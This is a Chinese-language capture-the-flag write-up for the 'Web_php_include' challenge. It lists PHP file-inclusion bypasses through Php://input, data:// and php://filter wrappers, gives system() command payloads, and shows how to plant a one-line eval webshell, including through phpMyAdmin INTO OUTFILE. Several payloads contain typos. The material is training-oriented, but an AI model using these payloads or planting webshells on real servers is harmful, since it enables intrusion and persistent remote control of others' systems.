攻防世界系列:Web_php_include
方法一:大小寫繞過
strstr()函數對php我協議進行了過濾,但我們可以嘗試大小寫繞過
抓包POST傳值讓其執行我們輸入的命令
?page=Php://input
<?php system('ls'); ?>
發現可疑文件,執行命令打開
方法二:data://協議繞過
原理相同,不讓用php我們就用data哈哈
?page=data://text/plain,<?php system('ls'); ?>
Tips:
data協議的一般格式
?page=data://text/plain,xxxxxxx
(xxxxxx為要執行的命令)
?pgge=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
方法三:寫入木馬
既然我們可以在服務器執行PHP代碼,就可以寫入一句話然后用蟻劍連接(這里以方法二為例,用data://協議也可以)
<?php fpouts(fopen('/tmp/webshell.php','w'),'<?php @eval($_POST[root]); ?>
Tips:
tmp是LINUX默認可寫目錄
方法四:phpmyadmin寫入木馬
前提:
--用戶 root 密碼 空格 登錄(此時為root權限)
--secure_file_priv為空(SHOW VARIABLES LIKE "secure_file_priv"命令查看是否為空)
select '<?php @eval($_POST[root]); ?> into OUTFILE '/tmp/shell.php'
蟻劍連接
方法五:(僅僅是另一種查看文件的方式)
當我們知道flag的位置時,還可這樣查看:
?page=Php://filter/convert.base64-encode/resource=fl4gisisish3r3.php